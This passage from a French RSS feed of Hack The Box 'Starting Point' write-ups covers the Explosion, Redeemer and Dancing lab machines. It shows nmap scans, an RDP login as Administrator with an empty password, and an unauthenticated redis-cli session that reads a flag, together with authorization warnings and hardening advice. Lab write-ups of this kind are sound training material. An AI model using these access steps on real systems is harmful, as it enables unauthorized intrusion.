<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.7.131</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.7.131: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">127</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">16.1</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<p>Le <strong>TTL de 127</strong> confirme une machine <strong>Windows</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/explosion#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$sudo</span><span class="token plain"> nmap </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.7.131</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT     STATE SERVICE       VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">135</span><span class="token plain">/tcp  </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  msrpc         Microsoft Windows RPC</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">139</span><span class="token plain">/tcp  </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  netbios-ssn   Microsoft Windows netbios-ssn</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">445</span><span class="token plain">/tcp  </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  microsoft-ds?</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">3389</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  ms-wbt-server Microsoft Terminal Services</span><br></span></code></pre></div></div>
<p>Le port <strong>3389</strong> correspond au service <strong>RDP</strong> (Remote Desktop Protocol). Cela permet d'accéder à l'interface graphique d'un serveur à distance.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/explosion#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="evaluation-de-vulnérabilité">Evaluation de vulnérabilité<a href="https://mohamedoutougane.com/writeups/explosion#evaluation-de-vuln%C3%A9rabilit%C3%A9" class="hash-link" aria-label="Lien direct vers Evaluation de vulnérabilité" title="Lien direct vers Evaluation de vulnérabilité" translate="no">​</a></h3>
<p>Sur Windows, le compte roi est l'<strong>Administrator</strong>. Parfois, les administrateurs oublient de mettre un mot de passe ou désactivent l'authentification pour des tests.</p>
<p>On utilise <code>xfreerdp3</code> avec l'option <code>/v:</code> pour l'IP.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$xfreerdp3</span><span class="token plain"> /v:10.129.7.131</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">INFO</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> - No user name set. - Using login name: user</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ERROR</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> - ERRCONNECT_PASSWORD_CERTAINLY_EXPIRED</span><br></span></code></pre></div></div>
<p>Le programme utilise notre nom d'utilisateur local — ça ne marche pas.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/explosion#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="accès-initial-rdp-login">Accès initial (RDP Login)<a href="https://mohamedoutougane.com/writeups/explosion#acc%C3%A8s-initial-rdp-login" class="hash-link" aria-label="Lien direct vers Accès initial (RDP Login)" title="Lien direct vers Accès initial (RDP Login)" translate="no">​</a></h3>
<p>On force l'utilisateur <strong>Administrator</strong> et on ignore les certificats auto-signés.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$xfreerdp3</span><span class="token plain"> /v:10.129.7.131 /cert:ignore /u:Administrator</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Domain:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password:</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">INFO</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> - Logon Error Info LOGON_FAILED_OTHER </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">LOGON_MSG_SESSION_CONTINUE</span><span class="token punctuation" style="color:#393A34">]</span><br></span></code></pre></div></div>
<ul>
<li class=""><code>/v:</code> : L'IP de la cible</li>
<li class=""><code>/cert:ignore</code> : Ignore les alertes de certificat</li>
<li class=""><code>/u:Administrator</code> : On tente le compte admin</li>
</ul>
<p>Au prompt Domain/Password, on appuie sur <strong>Entrée</strong> (vide).</p>
<p>Une fenêtre s'ouvre et affiche directement le bureau Windows de la machine cible. Pas besoin de mot de passe !</p>
<p><img decoding="async" loading="lazy" alt="Bureau Windows Explosion" src="https://mohamedoutougane.com/assets/images/image1-d0aa305ced6c65d2f98d66f9c10ef7ca.png" width="720" height="423" class="img_ev3q"></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupération-du-flag">Récupération du flag<a href="https://mohamedoutougane.com/writeups/explosion#r%C3%A9cup%C3%A9ration-du-flag" class="hash-link" aria-label="Lien direct vers Récupération du flag" title="Lien direct vers Récupération du flag" translate="no">​</a></h3>
<p>Un fichier <strong>flag.txt</strong> est visible sur le bureau.</p>
<p><img decoding="async" loading="lazy" alt="Flag Explosion" src="https://mohamedoutougane.com/assets/images/image2-24d1afccc4df63967cdac9f3edaa8015.png" width="720" height="334" class="img_ev3q"></p>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/explosion#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<p>Conseil de sécurité : toujours exiger une authentification forte (NLA) et des mots de passe complexes pour le RDP. Ne jamais laisser Administrator sans mot de passe.</p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Windows</category>
            <category>VIP</category>
            <category>Tier 0</category>
        </item>
        <item>
            <title><![CDATA[Redeemer]]></title>
            <link>https://mohamedoutougane.com/writeups/redeemer</link>
            <guid>https://mohamedoutougane.com/writeups/redeemer</guid>
            <pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Découverte du service de base de données Redis.]]></description>
            <content:encoded><![CDATA[<p><strong>Redeemer</strong> est la quatrième box du parcours <em>Starting Point</em> de <a href="https://www.hackthebox.com/" target="_blank" rel="noopener noreferrer" class="">Hack The Box</a>. Après avoir exploré Telnet, FTP et SMB, on s'attaque ici à un service de base de données très populaire : <strong>Redis</strong>.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="vidéo-walkthrough">Vidéo Walkthrough<a href="https://mohamedoutougane.com/writeups/redeemer#vid%C3%A9o-walkthrough" class="hash-link" aria-label="Lien direct vers Vidéo Walkthrough" title="Lien direct vers Vidéo Walkthrough" translate="no">​</a></h2>
<iframe width="100%" style="aspect-ratio:16/9" src="https://www.youtube.com/embed/9FJurDpKBLE" title="Redeemer Walkthrough" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/redeemer#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/redeemer#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">14.5</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/redeemer#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<p>Le scan classique ne trouve rien sur les 1000 ports par défaut — on scanne <strong>tous</strong> les ports.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> -p- </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT     STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">6379</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  redis   Redis key-value store </span><span class="token number" style="color:#36acaa">5.0</span><span class="token plain">.7</span><br></span></code></pre></div></div>
<p>Port <strong>6379</strong> : c'est <strong>Redis</strong> (version 5.0.7). Redis est un système de stockage clé-valeur en mémoire, souvent utilisé comme base de données ultra-rapide ou cache.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/redeemer#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="evaluation-de-vulnérabilité">Evaluation de vulnérabilité<a href="https://mohamedoutougane.com/writeups/redeemer#evaluation-de-vuln%C3%A9rabilit%C3%A9" class="hash-link" aria-label="Lien direct vers Evaluation de vulnérabilité" title="Lien direct vers Evaluation de vulnérabilité" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">apt</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">install</span><span class="token plain"> redis-tools</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$redis</span><span class="token plain">-cli </span><span class="token parameter variable" style="color:#36acaa">-h</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212:637</span><span class="token operator file-descriptor important" style="color:#393A34">9</span><span class="token operator" style="color:#393A34">&gt;</span><br></span></code></pre></div></div>
<p>On a un prompt <strong>sans aucune authentification</strong>. Faille critique de configuration.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/redeemer#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploration-de-la-base-de-données">Exploration de la base de données<a href="https://mohamedoutougane.com/writeups/redeemer#exploration-de-la-base-de-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers Exploration de la base de données" title="Lien direct vers Exploration de la base de données" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212:637</span><span class="token operator file-descriptor important" style="color:#393A34">9</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> info</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Keyspace</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">db0:keys</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">4</span><span class="token plain">,expires</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">0</span><span class="token plain">,avg_ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">0</span><br></span></code></pre></div></div>
<p>La base <strong>db0</strong> contient 4 clés. On liste toutes les clés.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212:637</span><span class="token operator file-descriptor important" style="color:#393A34">9</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">select</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212:637</span><span class="token operator file-descriptor important" style="color:#393A34">9</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> keys *</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"temp"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"numb"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"flag"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">4</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"stor"</span><br></span></code></pre></div></div>
<p>Une clé nommée <strong>flag</strong> — on récupère sa valeur.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.2.212:637</span><span class="token operator file-descriptor important" style="color:#393A34">9</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> get flag</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token string" style="color:#e3116c">"03e{...}3eb"</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/redeemer#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<p>Redis est extrêmement puissant mais ne possède pas de couche de sécurité robuste par défaut s'il est exposé sur le réseau sans mot de passe. Toujours vérifier que vos bases de données ne sont pas accessibles publiquement sans authentification.</p>
<p>Script bash de récupération automatique :
<a href="https://github.com/MohamedOutougane/Redeemer_Automated" target="_blank" rel="noopener noreferrer" class="">MohamedOutougane/Redeemer_Automated</a></p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Linux</category>
            <category>Database</category>
            <category>Tier 0</category>
        </item>
        <item>
            <title><![CDATA[Dancing]]></title>
            <link>https://mohamedoutougane.com/writeups/dancing</link>
            <guid>https://mohamedoutougane.com/writeups/dancing</guid>
            <pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Découverte du protocole SMB et des partages réseaux.]]></description>
            <content:encoded><![CDATA[<p><strong>Dancing</strong> est la troisième box du parcours <em>Starting Point</em> de <a href="https://www.hackthebox.com/" target="_blank" rel="noopener noreferrer" class="">Hack The Box</a>. Après avoir vu <strong>Telnet</strong> et <strong>FTP</strong>, on s'attaque ici au protocole <strong>SMB</strong>. C'est une machine parfaite pour comprendre comment naviguer dans les partages réseaux Windows.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant. Si vous voulez le flag, suivez les étapes sur la machine.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation (ex. machines HTB, ou lab perso). Respectez les règles de la plateforme.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="vidéo-walkthrough">Vidéo Walkthrough<a href="https://mohamedoutougane.com/writeups/dancing#vid%C3%A9o-walkthrough" class="hash-link" aria-label="Lien direct vers Vidéo Walkthrough" title="Lien direct vers Vidéo Walkthrough" translate="no">​</a></h2>
<iframe width="100%" style="aspect-ratio:16/9" src="https://www.youtube.com/embed/vWKbqzG_u00" title="Dancing Walkthrough" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconaissance-information-gathering">Reconaissance (Information gathering)<a href="https://mohamedoutougane.com/writeups/dancing#reconaissance-information-gathering" class="hash-link" aria-label="Lien direct vers Reconaissance (Information gathering)" title="Lien direct vers Reconaissance (Information gathering)" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte-asset-discovery">Découverte d'hôte (Asset discovery)<a href="https://mohamedoutougane.com/writeups/dancing#d%C3%A9couverte-dh%C3%B4te-asset-discovery" class="hash-link" aria-label="Lien direct vers Découverte d'hôte (Asset discovery)" title="Lien direct vers Découverte d'hôte (Asset discovery)" translate="no">​</a></h3>
<p>Comme d'hab, la première étape est de vérifier que la machine répond avec la commande <code>ping</code> suivi de l'<strong>IP</strong> de la cible. On vérifie juste qu'on a bien une connexion stable.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.63.29</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" 